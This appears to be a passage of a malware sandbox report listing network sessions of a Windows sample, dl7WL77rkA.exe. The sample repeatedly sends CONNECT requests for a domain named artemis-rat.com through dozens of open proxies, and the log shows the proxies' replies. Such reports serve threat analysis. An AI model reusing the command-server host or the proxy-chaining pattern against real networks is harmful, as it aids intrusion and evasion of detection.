Mar 11, 2024 03:30:45.466634989 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1569	192.168.2.5	54173	20.206.106.192	8123	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.149629116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.472440004 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1570	192.168.2.5	54281	177.93.45.154	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.151153088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796387911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702383995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.794872999 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1571	192.168.2.5	54399	172.67.182.3	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.159410954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.313966036 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1572	192.168.2.5	54222	20.205.61.143	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.162138939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.468919992 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1573	192.168.2.5	54397	104.238.111.107	7999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.164700031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796206951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405407906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.572479963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.702205896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.014607906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.202358961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.514554977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1574	192.168.2.5	54407	104.16.105.146	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.164951086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.319257021 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1575	192.168.2.5	54175	45.11.95.165	5049	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.165889025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1576	192.168.2.5	54207	20.206.106.192	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.166353941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.491108894 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1577	192.168.2.5	54208	8.130.39.155	3389	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.167222023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.485606909 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1578	192.168.2.5	54238	39.105.27.30	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.173779964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.593079090 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1579	192.168.2.5	52779	118.174.143.38	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.173804045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1580	192.168.2.5	53517	116.106.105.55	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.174478054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1581	192.168.2.5	54218	185.49.31.207	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.174820900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1582	192.168.2.5	54243	43.131.242.162	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.175223112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1583	192.168.2.5	54188	103.156.232.85	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.176071882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1584	192.168.2.5	54340	148.72.23.56	42312	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.176760912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1585	192.168.2.5	54232	185.132.242.212	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.225980043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1586	192.168.2.5	54234	116.106.105.208	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.227039099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1587	192.168.2.5	54162	93.126.56.30	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.227039099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1588	192.168.2.5	54367	38.162.4.6	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.227085114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.684267998 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1589	192.168.2.5	54349	162.241.6.97	44607	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.227715015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1590	192.168.2.5	54411	23.94.123.202	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.232094049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.771039009 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:45 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1591	192.168.2.5	54154	51.155.10.0	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.232095957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1592	192.168.2.5	54180	14.192.3.161	82	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.232172966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.998936892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.202102900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.594892979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.389548063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.092747927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.904936075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1593	192.168.2.5	54247	8.219.228.100	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.232225895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1594	192.168.2.5	52606	8.210.8.157	19001	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.232322931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1595	192.168.2.5	54390	66.84.6.21	62645	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.233087063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796449900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.514713049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.014570951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
